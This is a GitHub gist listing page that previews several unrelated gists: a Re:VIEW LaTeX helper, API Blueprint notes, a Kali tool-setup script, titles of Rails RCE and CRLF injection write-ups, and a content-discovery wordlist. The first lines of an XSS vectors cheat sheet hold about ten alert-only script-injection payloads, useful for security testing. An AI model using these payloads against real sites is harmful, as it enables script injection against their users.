Skip to content

Instantly share code, notes, and snippets.

View motoyasu-saburi's full-sized avatar

Motoyasu Saburi motoyasu-saburi

View GitHub Profile
@mala
mala / CVE-2019-5418_is_RCE.md
Last active February 7, 2021 04:25
Rails の CVE-2019-5418 は RCE (Remote code execution) です
@kmuto
kmuto / review-ext.rb
Created March 4, 2019 14:32
tt, code内の'をtextquotesingleの形にする(textttを書き換えるのはいろいろ大変らしいので…)
module ReVIEW
module LATEXBuilderOverride
def inline_tt(s)
super(s).gsub("'", '\textquotesingle ').sub(/(textquotesingle) }$/, '\1}')
end
def inline_code(s)
super(s).gsub("'", '\textquotesingle ').sub(/(textquotesingle) }$/, '\1}')
end
end
@mgeeky
mgeeky / prepare-kali.sh
Last active September 28, 2023 17:58
A script that prepares Kali by collecting many useful tools of trade in /root/tools directory, installing requirements, seting them up, preparing .bashrc etc.
#!/bin/bash
# Well, entire Kali installation assume that we are normally working as root on our Kali.
# I know that assumption sucks to its root, but I wanted to avoid every "permission denied" issue and I was too lazy
# to get it done properly as a non-root.
if [ $EUID -ne 0 ]; then
echo "This script must be run as root."
exit 1
fi
@jhaddix
jhaddix / content_discovery_all.txt
Created May 26, 2018 11:51
a masterlist of content discovery URLs and files (used most commonly with gobuster)
This file has been truncated, but you can view the full file.
`
~/
~
ים
___
__
_
---
@atsunoda
atsunoda / 401i_in_monabako.md
Last active September 2, 2022 22:35
モナバコ脆弱性報奨金制度で認定された401インジェクション
@atsunoda
atsunoda / crlfi_via_path_of_request-uri.md
Last active September 2, 2022 22:32
Request-URIのパスからのCRLFインジェクション
@kurobeats
kurobeats / xss_vectors.txt
Last active July 6, 2024 06:55
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@zdne
zdne / gist:5f8295642af18aff27ec
Created June 17, 2015 10:47
Working with multiple API Blueprint files

Working with multiple blueprint files

This document describes 4 different solutions to work APIs that consist of multiple blueprint files. Every of this solution work with all Apiary.io features but editing. To edit a blueprint you have to do it outside of Apiary as Apiary editor does not support working with multiple files. In other words if you are using one of the solutions below avoid editing the blueprint in Apiary.

1. Hercule

Hercule is a CLI tool written in Node.js – available as an NPM package. It uses markdown referencing and linking syntax to transclude other files into a blueprint file. This solution is universal and would work with any Markdown files not just API Blueprint.

The major benefit – unlike any other solutions here – is also that the references are rendered as HTML links in any Markdown editor so the result is HTML that can be browsed!